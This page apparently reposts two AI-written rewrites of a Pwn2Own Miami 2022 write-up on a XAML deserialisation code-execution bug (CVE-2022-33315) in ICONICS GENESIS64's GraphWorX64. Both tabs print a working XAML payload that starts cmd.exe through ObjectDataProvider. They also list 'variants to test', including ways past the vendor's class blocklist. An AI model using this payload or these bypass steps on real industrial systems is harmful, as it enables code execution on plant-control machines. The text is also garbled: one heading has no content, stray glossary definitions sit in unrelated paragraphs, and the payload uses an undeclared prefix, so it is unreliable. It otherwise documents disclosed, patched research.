Skip to content
RCE Write-up Intermediate

Pwn2Own Miami 2022: ICONICS GENESIS64 Arbitrary Code Execution

The ICONICS GENESIS64 application loads project files as XAML without sandboxing, allowing an attacker to instantiate arbitrary .NET objects. By crafting a malicious XAML file, an attacker could execute arbitrary code when the file is opened.

Sector 7 Follow

Published on sector7.computest.nl

Bounty$5,000total stated by author View original

This write-up is part 5 of a series of write-ups about the 5 vulnerabilities we demonstrated last April at Pwn2Own Miami. This is the write-up for an Arbitrary Code Execution vulnerability in ICONICS GENESIS64 (CVE-2022-33315).

Sector 7 (@sector7_nl), on sector7.computest.nl

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

Context

ICONICS GENESIS64 was one of the two targets in the Control Server category at Pwn2Own Miami 2022. It is less a single application than a software suite: it is used to design and visualise entire ICS environments, from dashboards and control screens to 3D visualisations of whole factory floors. One of the applications shipped in the GENESIS64 installer is GraphWorX64, normally used to design HMI/SCADA control screens.

For this category, the contest rules allowed code execution to be achieved by opening a file within the target on the contest laptop. The file had to be of a type handled by default by the target application. That rule is what made the project-file format itself the attack surface.

The vulnerability demonstrated here is an arbitrary code execution flaw tracked as CVE-2022-33315. It was demonstrated successfully during the competition, but the vendor was already aware of it. The bug had originally been reported by Zymo Security and disclosed as ZDI-22-1043. The team had anticipated this, since it was one of the most shallow bugs they used during the competition, and it turned out to be their only bug collision of the event. Zero Day Initiative announced the result on the day:

A 3rd bug collision on Day 1. The team @sector7_nl successfully popped calc, but the bug they used had been disclosed earlier in the competition. They still win $5,000 and 5 Master of Pwn points. #Pwn2Own

, Zero Day Initiative (@thezdi), April 19, 2022

So the award stood at $5,000 and 5 Master of Pwn points despite the collision.

Setup

The demonstration ran on the contest laptop. The category rules accepted a path to code execution in which the attacker gets a file opened within the target on that machine, rather than requiring a remote network attack. The file had to be of a type that the target application handles by default, so the entry point had to be a format the product already opens without any extra configuration.

The team started from the applications that came with the GENESIS64 installer and picked GraphWorX64 at random. They then saved an empty file from it. That saved project file is the artefact the rest of the work is built on: it is a file type GraphWorX64 handles by default, and it is what an attacker would deliver to the victim.

Finding it

The saved empty project file turned out to be stored as a WPF XAML file. That is the whole finding in one sentence: a design tool for ICS screens was persisting its projects in a markup language whose loader is designed to instantiate objects, not merely to describe data.

The empty project file

This is the file GraphWorX64 writes when nothing has been drawn on the canvas:

Exploitation

With the file format confirmed as XAML and the loader identified as a wrapper around XamlReader(), the exploit needed nothing more than a project file that instantiates the right object. The team built a XAML file that creates a Process object and supplies it with the parameters needed to start the calculator. In their words, this calls the method Start using the parameters cmd.exe /c calc.exe.

The payload

XML
<?xml version="1.0" encoding="utf-8"?>
<ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:System="clr-namespace:System;assembly=mscorlib"
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="Sector7" ObjectType="{x:Type Diag:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <gwx:GwxDocument.GwxDocument>
        <gwx:GwxDocument FileVersion="10.97.020.00" ScanRate="500" />
    </gwx:GwxDocument.GwxDocument>
</ResourceDictionary>

The parts that matter:

  1. The root element is a ResourceDictionary rather than the Canvas of a normal project. The namespace declarations map System to mscorlib and Diag to System.Diagnostics, which is what makes the .NET types reachable from markup.
  2. ObjectDataProvider is the instantiation primitive. Its ObjectType is set to {x:Type Diag:Process}, so the loader creates a System.Diagnostics.Process, and MethodName="Start" names the method to invoke on it.
  3. ObjectDataProvider.MethodParameters supplies the arguments to that method: the strings cmd.exe and /c calc.exe. The result is a call equivalent to starting cmd.exe with /c calc.exe, which runs the calculator and exits.
  4. The gwx:GwxDocument.GwxDocument element with FileVersion="10.97.020.00" and ScanRate="500" mirrors the document element present in a genuine saved project, so the file still carries the structure GraphWorX64 expects from one of its own files.

The payload is delivered as a project file of the type GraphWorX64 handles by default, so opening it in the application is all that is required. No further interaction beyond opening the file is described.

The result

The screen recording below shows the exploit in action.

From the original on sector7.computest.nl

The report presents the recording as the demonstration of the payload: the XAML file is opened and the calculator starts, which is the code execution the contest scoring was based on.

Root cause

The mistake is a format choice combined with a loader choice. GraphWorX64 stores its projects as WPF XAML, and GENESIS64 reads them back through XamlReader(). XAML is not a data description language in the sense that JSON or a bespoke binary format is: it directly represents object instantiation and execution. Any element in the document can name a .NET type and cause the loader to construct it, and constructs such as ObjectDataProvider can go further and invoke a method on the constructed object with attacker-supplied arguments. Loading a project file is therefore equivalent to running code that builds the same object graph.

Microsoft's own documentation for System.Windows.Markup.XamlReader says as much, and the report quotes the relevant passage:

Code Access Security, Loose XAML, and XamlReader

XAML is a markup language that directly represents object instantiation and execution. Therefore, elements created in XAML have the same ability to interact with system resources (network access, file system IO, for example) as the equivalent generated code does.

…

The implications of these statements for XamlReader is that your application design must make trust decisions about the XAML you decide to load. If you are loading XAML that is not trusted, consider implementing your own sandboxing technique for how you load the resulting object graph.

The guidance is explicit that an application loading untrusted XAML must make its own trust decisions and sandbox the resulting object graph. GENESIS64 had no such sandboxing in place, so instantiating arbitrary objects from a project file was trivial. The decoding of the file happens in Components/IcoWPF.dll, which uses a wrapper around XamlReader().

Why the design ended up this way is not documented in the report, but it is likely a straightforward consequence of using XAML as the native persistence format for a WPF-based designer: the same serialiser that writes the object graph on save is the natural one to use on load, and the format was never treated as hostile input. The project file is a file the application itself produces, so it was probably assumed to be a file the application itself produced.

No sandboxing was in place, so instantiating arbitrary objects from a project file was trivial. The only thing standing between the file and code execution was the user opening it.

Impact

The impact is arbitrary code execution in the context of the user who opens the project file. The payload runs as whatever process opens the file, so the attacker inherits that user's privileges and access to the machine. In the contest demonstration the code executed was calc.exe, started through cmd.exe /c calc.exe, which is enough to prove that attacker-chosen commands run.

The precondition is the one the contest rules set: the file must be of a type handled by default by the target application. A GraphWorX64 project file meets that condition, so the attacker does not need the victim to install anything extra or change any configuration. The victim has to open the file in GraphWorX64, and that is the only interaction the report describes.

The report does not describe a remote, unauthenticated path to this bug. The delivery model it demonstrates is a file opened on the target machine, which is what the Control Server category accepted. How an attacker would get the file in front of a victim in a real deployment is not covered.

Two facts limit the novelty of the finding rather than its severity. The vendor was already aware of the vulnerability when it was demonstrated, and the bug had originally been reported by Zymo Security and disclosed as ZDI-22-1043. The team had anticipated the collision because this was one of the most shallow bugs they used during the competition, and it was their only bug collision of the event. The demonstration still scored $5,000 and 5 Master of Pwn points.

Fix

ICONICS settled for a blocklist approach, released in version 10.97.2. In that version the XAML file is pre-parsed before being passed to XamlReader(), and certain classes are excluded from deserialisation.

The report advises using a different file format to fully mitigate the vulnerability. Its own advice is to use a different file format altogether, one that describes data rather than object graphs, so that loading a project file can never instantiate arbitrary types. The cost of that is backward compatibility: changing the format would mean that old project files would be unable to load. ICONICS settled for a blocklist approach, with the release of version 10.97.2.

A blocklist of this kind depends on the list being complete, both for the classes known at release time and for any that become reachable later. The report does not describe how the list is maintained or what it contains.

Variants to test

The pattern to look for elsewhere is a desktop or ICS tool that persists its documents in a format capable of naming and constructing types, and then loads them back without restricting which types are allowed. The report's own case is WPF XAML read through XamlReader(), but the same reasoning applies to any serialiser that reconstructs an object graph from a file.

  1. Other GENESIS64 applications that save XAML. The team picked GraphWorX64 at random from the installer. Save an empty project from each application in the suite and inspect the file. A positive result is a saved file whose root element is a XAML element and which contains namespace declarations mapping prefixes to CLR namespaces, as the empty GraphWorX64 project does with xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF" and xmlns:gwx="clr-namespace:Ico.Gwx;assembly=GwxRuntimeCore". That tells you the loader is resolving .NET types from the file.

  2. Substituting the payload for the saved document. Take the empty project file and replace its body with the ResourceDictionary payload from this report, keeping the gwx:GwxDocument.GwxDocument element so the file still looks like one of the product's own. A positive result is the calculator starting when the file is opened, which is exactly the demonstration here. If the application rejects the file, try keeping the original root element and adding the ObjectDataProvider alongside the legitimate content.

  3. Checking whether a blocklist is present and what it covers. On a version before 10.97.2 the payload should pass straight through. On 10.97.2 and later, the pre-parse step described in the fix should reject classes on the list. A positive result on a patched build is a payload that still executes, for example by naming a type that achieves the same effect as Diag:Process but is not on the list.

  4. Other object-instantiation primitives in the same loader. The report uses ObjectDataProvider with ObjectType and MethodName. Other markup constructs that construct objects or invoke members are worth trying against the same file type, since a blocklist aimed at one primitive may not cover another. A positive result is any file that causes a side effect you chose, such as a process start or a file write, without the application warning about the document.

  5. Serialised object graphs in other products. The same test applies to any tool whose project files are not plain data: open a saved file in a text editor and look for type names, assembly names or namespace-to-CLR mappings. A positive result is a file that names a .NET type you can substitute with one of your choosing and have the application construct it on load.

  6. Confirming the loader before building a payload. Where the product ships its DLLs, look for a component that wraps XamlReader(), as Components/IcoWPF.dll does here. A positive result is a reference to XamlReader in the assembly that handles the project file, which tells you the document is being deserialised rather than parsed as data.

Each of these stays within the delivery model the report demonstrates: a file of a type the target handles by default, opened on the machine.

Hunting notes

This class of bug hides in desktop and ICS tooling rather than in web applications. The products that carry it are design and engineering tools: HMI/SCADA screen designers, dashboard builders, 3D visualisation editors, configuration utilities shipped alongside a larger suite. They tend to be WPF or .NET WinForms applications, they persist their documents in whatever serialiser was convenient for the framework, and they treat those documents as trusted because the application itself wrote them. GENESIS64 is the example here: a suite for designing and visualising ICS environments, with GraphWorX64 as the screen designer, saving projects as WPF XAML.

The recon signals are cheap to check once you have an installer:

  • Saved project files that are XAML. Install the product, create and save an empty document from each application in the suite, and open the result in a text editor. A root element such as Canvas or ResourceDictionary with the http://schemas.microsoft.com/winfx/2006/xaml/presentation namespace is the signal. So are namespace declarations that map prefixes to CLR namespaces and assemblies, as the empty GraphWorX64 project does with xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF" and xmlns:gwx="clr-namespace:Ico.Gwx;assembly=GwxRuntimeCore". Those mappings mean the loader resolves .NET types named in the file.
  • References to XamlReader in the shipped assemblies. The report places the decoding in Components/IcoWPF.dll, which uses a wrapper around XamlReader(). A string search over the DLLs in the install directory for XamlReader, or for the names of other object-graph serialisers, points at the component that handles project files. That component is where a payload has to survive.
  • A document element that the loader expects. The payload here keeps the gwx:GwxDocument.GwxDocument element with FileVersion="10.97.020.00" and ScanRate="500", mirroring a genuine saved project. Knowing which element the application looks for before it proceeds is part of getting the file accepted, so compare the payload against the empty file you saved.

The workflow that produced the finding is short: pick an application from the installer, save an empty file, read it, and if it is XAML, build a document that instantiates a type of your choosing.

Impact was shown for the program in the way the Control Server category defined it. The rules accepted code execution achieved by opening a file within the target on the contest laptop, provided the file was of a type handled by default by the target application. The team met both conditions: a GraphWorX64 project file is handled by default, and opening the crafted one started the calculator through cmd.exe /c calc.exe. That is the whole demonstration, and it was enough to score $5,000 and 5 Master of Pwn points even though the bug had already been disclosed as ZDI-22-1043 and the vendor was aware of it. For a program outside a contest, the same evidence carries: a file of a default-handled type, opened with no extra configuration, that runs a command the attacker chose in the context of the user who opened it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 20 min read.

What happened, in plain words

At a hacking contest called Pwn2Own Miami 2022, a team of researchers showed that they could make a piece of industrial software run a program of their choosing. The software is called ICONICS GENESIS64. The trick was simple: they built a project file that, when opened in one of the programs that comes with GENESIS64, started the Windows calculator. Starting the calculator is harmless in itself, but it proves that the file could have started any program at all, including something malicious.

The reason this works is that GENESIS64 saves its project files in a format called XAML. XAML is not just a way of writing down data, like a shopping list. It is a way of describing objects, and the tool that reads XAML back in is designed to create those objects. If a file can name any object it likes, and the reader creates it without asking questions, then a file can also ask for an object that runs a command. That is the whole bug.

The contest category was called Control Server, and its rules allowed a team to win by getting code to run when a file was opened on the contest laptop, as long as the file was of a type the target program opens by default. The team met that rule exactly.

The bug is tracked as CVE-2022-33315. CVE is a public catalogue number for a known security flaw, so anyone can look it up. The team demonstrated it successfully, but the vendor (the company that makes the software, ICONICS) already knew about it. Another researcher, Zymo Security, had reported it earlier, and it had been published as ZDI-22-1043. When two people find the same bug, the contest calls it a collision. The team had expected this, because it was one of the simplest bugs they used at the event, and it was their only collision. They still won $5,000 and 5 Master of Pwn points.

The contest organiser, Zero Day Initiative, announced the result on the day:

A 3rd bug collision on Day 1. The team @sector7_nl successfully popped calc, but the bug they used had been disclosed earlier in the competition. They still win $5,000 and 5 Master of Pwn points. #Pwn2Own

, Zero Day Initiative (@thezdi), April 19, 2022

So the award stood at $5,000 and 5 Master of Pwn points despite the collision.

Setup

GENESIS64 is not one program. It is a suite, a collection of programs that work together. People use it to design and visualise industrial control systems: the dashboards and control screens that operators watch, and even 3D views of whole factory floors. An industrial control system, or ICS, is the collection of computers and machines that run a factory, a power plant or a water treatment plant.

One of the programs in the GENESIS64 installer is GraphWorX64. It is normally used to design HMI/SCADA control screens. HMI stands for human-machine interface, the screen an operator uses to see and control a machine. SCADA stands for supervisory control and data acquisition, the system that collects readings from equipment and sends commands back. GraphWorX64 is the drawing tool for those screens.

The contest rules for this category accepted a particular way of getting code to run: the attacker gets a file opened inside the target program on the contest laptop. The file had to be of a type the target program handles by default, meaning the program opens it without any extra setup. That rule is what made the project file itself the thing to attack. If the program happily opens its own project files, then a project file is a way in.

The team started from the programs that came with the GENESIS64 installer and picked GraphWorX64 at random. They saved an empty file from it. That saved project file is the foundation of everything that follows: it is a file type GraphWorX64 opens by default, and it is what an attacker would send to a victim.

Finding it

The saved empty project file turned out to be stored as a WPF XAML file. WPF stands for Windows Presentation Foundation, the part of Windows that draws windows and controls. XAML is the markup language WPF uses to describe those windows. Markup means text with tags, like HTML on a web page. The finding in one sentence: a design tool for industrial screens was saving its projects in a language whose reader is built to create objects, not merely to store data.

The empty project file

This is the file GraphWorX64 writes when nothing has been drawn on the canvas:

XML
<?xml version="1.0" encoding="utf-8"?>
<Canvas Background="#FFFFFFFF" Width="3840" Height="2320" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF" xmlns:gwx="clr-namespace:Ico.Gwx;assembly=GwxRuntimeCore">
    <Canvas.Resources>
        <BitmapImage x:Key="GwxThumbnailImageKey">
        <iwm:BitmapImageInfo.StreamSource>
            <iwm:Base64Stream Data="[redacted]+[redacted]/[redacted]" />
            </iwm:BitmapImageInfo.StreamSource>
        </BitmapImage>
    </Canvas.Resources>
    <gwx:GwxDocument.GwxDocument>
        <gwx:GwxDocument FileVersion="10.97.020.00" ScanRate="500" />
    </gwx:GwxDocument.GwxDocument>
</Canvas>

Line by line, in plain words:

  1. <?xml version="1.0" encoding="utf-8"?> says this is an XML document, version 1.0, written in UTF-8 character encoding. XML is a general text format for structured documents, and XAML is a kind of XML.
  2. <Canvas ...> is the root element, the outermost container. A canvas is a drawing surface. The attributes set its background colour to white (#FFFFFFFF) and its size to 3840 by 2320.
  3. The xmlns attributes are namespace declarations. A namespace is a way of saying where a name comes from, so two things with the same short name do not clash. The first one, http://schemas.microsoft.com/winfx/2006/xaml/presentation, is the standard WPF namespace. The xmlns:x one gives the prefix x to the XAML language itself.
  4. xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF" maps the prefix iwm to a .NET namespace called Ico.Windows.Media inside a compiled library (assembly) called IcoWPF. This is the important part: it tells the reader that names starting with iwm: refer to real code inside a real file on disk.
  5. xmlns:gwx="clr-namespace:Ico.Gwx;assembly=GwxRuntimeCore" does the same for the prefix gwx, pointing at the Ico.Gwx namespace in the GwxRuntimeCore assembly.
  6. <Canvas.Resources> is a section for resources, reusable items the canvas can refer to later.
  7. <BitmapImage x:Key="GwxThumbnailImageKey"> defines a bitmap image and gives it a name, a key, so other parts of the file can refer to it. This is the thumbnail of the project.
  8. <iwm:BitmapImageInfo.StreamSource> and <iwm:Base64Stream Data="..." /> say where the image data comes from: a base64 stream. Base64 is a way of writing binary data as plain text characters. The long string is the thumbnail picture encoded that way.
  9. <gwx:GwxDocument.GwxDocument> and <gwx:GwxDocument FileVersion="10.97.020.00" ScanRate="500" /> are the document's own settings: the file format version and a scan rate of 500.

Why this step mattered: reading the saved file showed that the project is not a binary blob or a simple data file. It is XAML, and it names .NET types from the product's own libraries. That means the program that opens it must be able to turn those names into real objects.

Exploitation

With the file format confirmed as XAML, and the loader identified as a wrapper around XamlReader(), the exploit needed nothing more than a project file that instantiates the right object. A loader is the piece of software that reads a file and turns it into something the program can use. XamlReader() is the .NET function that does this for XAML: you give it XAML text, and it builds the objects the text describes. A wrapper is a thin layer of code around it, usually to add a small convenience.

The team built a XAML file that creates a Process object and supplies it with the parameters needed to start the calculator. A Process object in .NET represents a running program. In their words, this calls the method Start using the parameters cmd.exe /c calc.exe. A method is an action an object can perform. cmd.exe is the Windows command prompt, and /c tells it to run the command that follows and then close. So cmd.exe /c calc.exe means: open a command prompt, run the calculator, and exit.

The payload

A payload is the part of an attack that actually does the damage, here the file contents that cause the command to run.

XML
<?xml version="1.0" encoding="utf-8"?>
<ResourceDictionary
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:System="clr-namespace:System;assembly=mscorlib"
    xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider x:Key="Sector7" ObjectType="{x:Type Diag:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <System:String>cmd.exe</System:String>
            <System:String>/c calc.exe</System:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <gwx:GwxDocument.GwxDocument>
        <gwx:GwxDocument FileVersion="10.97.020.00" ScanRate="500" />
    </gwx:GwxDocument.GwxDocument>
</ResourceDictionary>

The parts that matter:

  1. The root element is a ResourceDictionary rather than the Canvas of a normal project. A resource dictionary is a container for named items. The namespace declarations map System to mscorlib and Diag to System.Diagnostics, which is what makes the .NET types reachable from markup. mscorlib is the core .NET library, and System.Diagnostics is the part of .NET that deals with running processes.
  2. ObjectDataProvider is the instantiation primitive. Instantiation means creating an object from a type. A primitive here means the basic building block that does the work. Its ObjectType is set to {x:Type Diag:Process}, so the loader creates a System.Diagnostics.Process, and MethodName="Start" names the method to invoke on it.
  3. ObjectDataProvider.MethodParameters supplies the arguments to that method: the strings cmd.exe and /c calc.exe. The result is a call equivalent to starting cmd.exe with /c calc.exe, which runs the calculator and exits.
  4. The gwx:GwxDocument.GwxDocument element with FileVersion="10.97.020.00" and ScanRate="500" mirrors the document element present in a genuine saved project, so the file still carries the structure GraphWorX64 expects from one of its own files. Keeping it makes the file look normal to the program that opens it.

The payload is delivered as a project file of the type GraphWorX64 handles by default, so opening it in the application is all that is required. No further interaction beyond opening the file is described.

The result

The screen recording below shows the exploit in action.

From the original on sector7.computest.nl

The report presents the recording as the demonstration of the payload: the XAML file is opened and the calculator starts, which is the code execution the contest scoring was based on.

Root cause

The mistake is a format choice combined with a loader choice. GraphWorX64 stores its projects as WPF XAML, and GENESIS64 reads them back through XamlReader(). XAML is not a data description language in the sense that JSON or a bespoke binary format is: it directly represents object instantiation and execution. JSON is a simple text format for data, and a binary format stores data as raw bytes. XAML instead describes objects and actions. Any element in the document can name a .NET type and cause the loader to construct it, and constructs such as ObjectDataProvider can go further and invoke a method on the constructed object with attacker-supplied arguments. Loading a project file is therefore equivalent to running code that builds the same object graph. An object graph is simply a set of objects connected to each other.

Microsoft's own documentation for System.Windows.Markup.XamlReader says as much, and the report quotes the relevant passage:

Code Access Security, Loose XAML, and XamlReader

XAML is a markup language that directly represents object instantiation and execution. Therefore, elements created in XAML have the same ability to interact with system resources (network access, file system IO, for example) as the equivalent generated code does.

…

The implications of these statements for XamlReader is that your application design must make trust decisions about the XAML you decide to load. If you are loading XAML that is not trusted, consider implementing your own sandboxing technique for how you load the resulting object graph.

The guidance is explicit that an application loading untrusted XAML must make its own trust decisions and sandbox the resulting object graph. A sandbox is a restricted area where code can run without being able to touch anything outside it, like a playpen. GENESIS64 had no such sandboxing in place, so instantiating arbitrary objects from a project file was trivial. The decoding of the file happens in Components/IcoWPF.dll, which uses a wrapper around XamlReader(). A DLL is a library file that programs load to get extra code.

Why the design ended up this way is not documented in the report, but it is likely a straightforward consequence of using XAML as the native persistence format for a WPF-based designer: the same serialiser that writes the object graph on save is the natural one to use on load, and the format was never treated as hostile input. A serialiser is a piece of software that turns objects into a file, and a deserialiser turns the file back into objects. The project file is a file the application itself produces, so it was probably assumed to be a file the application itself produced.

No sandboxing was in place, so instantiating arbitrary objects from a project file was trivial. An allowlist is a list of things that are permitted, and everything else is refused. Pre-parsing means reading and checking the file before handing it to the loader. The only thing standing between the file and code execution was the user opening it.

Impact

The impact is arbitrary code execution in the context of the user who opens the project file. Arbitrary code execution means running any program the attacker wants. In the context of the user means with that person's permissions, so the attacker inherits that user's privileges and access to the machine. In the contest demonstration the code executed was calc.exe, started through cmd.exe /c calc.exe, which is enough to prove that attacker-chosen commands run.

The precondition is the one the contest rules set: the file must be of a type handled by default by the target application. A GraphWorX64 project file meets that condition, so the attacker does not need the victim to install anything extra or change any configuration. The victim has to open the file in GraphWorX64, and that is the only interaction the report describes.

The report does not describe a remote, unauthenticated path to this bug. Remote means over a network from another machine, and unauthenticated means without logging in. The delivery model it demonstrates is a file opened on the target machine, which is what the Control Server category accepted. How an attacker would get the file in front of a victim in a real deployment is not covered.

Two facts limit the novelty of the finding rather than its severity. The vendor was already aware of the vulnerability when it was demonstrated, and the bug had originally been reported by Zymo Security and disclosed as ZDI-22-1043. The team had anticipated the collision because this was one of the most shallow bugs they used during the competition, and it was their only bug collision of the event. The demonstration still scored $5,000 and 5 Master of Pwn points.

Fix

ICONICS settled for a blocklist approach, released in version 10.97.2. A blocklist is the opposite of an allowlist: a list of things that are forbidden, while everything else is allowed. In that version the XAML file is pre-parsed before being passed to XamlReader(), and certain classes are excluded from deserialisation. A class is a blueprint for an object in .NET. Deserialisation is the act of turning a file back into objects.

The report advises using a different file format to fully mitigate the vulnerability. A mitigation reduces the risk without removing the cause. Its own advice is to use a different file format altogether, one that describes data rather than object graphs, so that loading a project file can never instantiate arbitrary types. The cost of that is backward compatibility: changing the format would mean that old project files would be unable to load. ICONICS settled for a blocklist approach, with the release of version 10.97.2.

A blocklist of this kind depends on the list being complete, both for the classes known at release time and for any that become reachable later. The report does not describe how the list is maintained or what it contains.

Variants to test

The pattern to look for elsewhere is a desktop or ICS tool that persists its documents in a format capable of naming and constructing types, and then loads them back without restricting which types are allowed. The report's own case is WPF XAML read through XamlReader(), but the same reasoning applies to any serialiser that reconstructs an object graph from a file.

  1. Other GENESIS64 applications that save XAML. The team picked GraphWorX64 at random from the installer. Save an empty project from each application in the suite and inspect the file. A positive result is a saved file whose root element is a XAML element and which contains namespace declarations mapping prefixes to CLR namespaces, as the empty GraphWorX64 project does with xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF" and xmlns:gwx="clr-namespace:Ico.Gwx;assembly=GwxRuntimeCore". CLR stands for Common Language Runtime, the engine that runs .NET programs. That tells you the loader is resolving .NET types from the file.

  2. Substituting the payload for the saved document. Take the empty project file and replace its body with the ResourceDictionary payload from this report, keeping the gwx:GwxDocument.GwxDocument element so the file still looks like one of the product's own. A positive result is the calculator starting when the file is opened, which is exactly the demonstration here. If the application rejects the file, try keeping the original root element and adding the ObjectDataProvider alongside the legitimate content.

  3. Checking whether a blocklist is present and what it covers. On a version before 10.97.2 the payload should pass straight through. On 10.97.2 and later, the pre-parse step described in the fix should reject classes on the list. A positive result on a patched build is a payload that still executes, for example by naming a type that achieves the same effect as Diag:Process but is not on the list.

  4. Other object-instantiation primitives in the same loader. The report uses ObjectDataProvider with ObjectType and MethodName. Other markup constructs that construct objects or invoke members are worth trying against the same file type, since a blocklist aimed at one primitive may not cover another. A positive result is any file that causes a side effect you chose, such as a process start or a file write, without the application warning about the document.

  5. Serialised object graphs in other products. The same test applies to any tool whose project files are not plain data: open a saved file in a text editor and look for type names, assembly names or namespace-to-CLR mappings. A positive result is a file that names a .NET type you can substitute with one of your choosing and have the application construct it on load.

  6. Confirming the loader before building a payload. Where the product ships its DLLs, look for a component that wraps XamlReader(), as Components/IcoWPF.dll does here. A positive result is a reference to XamlReader in the assembly that handles the project file, which tells you the document is being deserialised rather than parsed as data.

Each of these stays within the delivery model the report demonstrates: a file of a type the target handles by default, opened on the machine.

Hunting notes

This class of bug hides in desktop and ICS tooling rather than in web applications. The products that carry it are design and engineering tools: HMI/SCADA screen designers, dashboard builders, 3D visualisation editors, configuration utilities shipped alongside a larger suite. They tend to be WPF or .NET WinForms applications, they persist their documents in whatever serialiser was convenient for the framework, and they treat those documents as trusted because the application itself wrote them. GENESIS64 is the example here: a suite for designing and visualising ICS environments, with GraphWorX64 as the screen designer, saving projects as WPF XAML.

The recon signals are cheap to check once you have an installer. Recon means the early look around to see what is worth attacking.

  • Saved project files that are XAML. Install the product, create and save an empty document from each application in the suite, and open the result in a text editor. A root element such as Canvas or ResourceDictionary with the http://schemas.microsoft.com/winfx/2006/xaml/presentation namespace is the signal. So are namespace declarations that map prefixes to CLR namespaces and assemblies, as the empty GraphWorX64 project does with xmlns:iwm="clr-namespace:Ico.Windows.Media;assembly=IcoWPF" and xmlns:gwx="clr-namespace:Ico.Gwx;assembly=GwxRuntimeCore". Those mappings mean the loader resolves .NET types named in the file.
  • References to XamlReader in the shipped assemblies. The report places the decoding in Components/IcoWPF.dll, which uses a wrapper around XamlReader(). A string search over the DLLs in the install directory for XamlReader, or for the names of other object-graph serialisers, points at the component that handles project files. That component is where a payload has to survive.
  • A document element that the loader expects. The payload here keeps the gwx:GwxDocument.GwxDocument element with FileVersion="10.97.020.00" and ScanRate="500", mirroring a genuine saved project. Knowing which element the application looks for before it proceeds is part of getting the file accepted, so compare the payload against the empty file you saved.

An endpoint is a network address a program listens on. The workflow that produced the finding is short: pick an application from the installer, save an empty file, read it, and if it is XAML, build a document that instantiates a type of your choosing.

Impact was shown for the program in the way the Control Server category defined it. The rules accepted code execution achieved by opening a file within the target on the contest laptop, provided the file was of a type handled by default by the target application. The team met both conditions: a GraphWorX64 project file is handled by default, and opening the crafted one started the calculator through cmd.exe /c calc.exe. That is the whole demonstration, and it was enough to score $5,000 and 5 Master of Pwn points even though the bug had already been disclosed as ZDI-22-1043 and the vendor was aware of it. For a program outside a contest, the same evidence carries: a file of a default-handled type, opened with no extra configuration, that runs a command the attacker chose in the context of the user who opened it.

Glossary

  • Arbitrary code execution: a flaw that lets an attacker run any program they choose on the victim's machine.
  • Assembly: a compiled .NET library file, such as a DLL, that contains code the program can load.
  • Base64: a way of writing binary data as plain text characters.
  • Blocklist: a list of things that are forbidden, with everything else allowed.
  • CLR (Common Language Runtime): the engine that runs .NET programs.
  • Collision: when two researchers find and report the same bug.
  • CVE: a public catalogue number for a known security flaw.
  • Deserialisation: turning a file back into objects in memory.
  • DLL: a library file that programs load to get extra code.
  • Endpoint: a network address a program listens on.
  • HMI (human-machine interface): the screen an operator uses to see and control a machine.
  • ICS (industrial control system): the computers and machines that run a factory, power plant or similar facility.
  • Loader: the software that reads a file and turns it into something the program can use.
  • Markup language: text with tags that describes structure, like HTML or XAML.
  • Method: an action an object can perform.
  • Mitigation: a change that reduces risk without removing the underlying cause.
  • Namespace: a way of grouping names so that two things with the same short name do not clash.
  • Object: a bundle of data and actions inside a program, created from a class.
  • Object graph: a set of objects connected to each other.
  • ObjectDataProvider: a XAML construct that creates an object and can call a method on it.
  • Payload: the part of an attack that actually does the damage.
  • Pre-parsing: reading and checking a file before handing it to the loader.
  • Process: a running program on a computer.
  • Recon: the early look around to see what is worth attacking.
  • Remote: over a network from another machine.
  • Sandbox: a restricted area where code can run without touching anything outside it.
  • SCADA (supervisory control and data acquisition): the system that collects readings from equipment and sends commands back.
  • Serialiser: software that turns objects into a file.
  • Unauthenticated: without logging in.
  • WPF (Windows Presentation Foundation): the part of Windows that draws windows and controls.
  • XAML: a markup language used by WPF to describe objects and windows.
  • XamlReader(): the .NET function that turns XAML text into objects.
  • XML: a general text format for structured documents.

More by Sector 7

View all

7 more disclosed reports, best first.

More from ICONICS

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.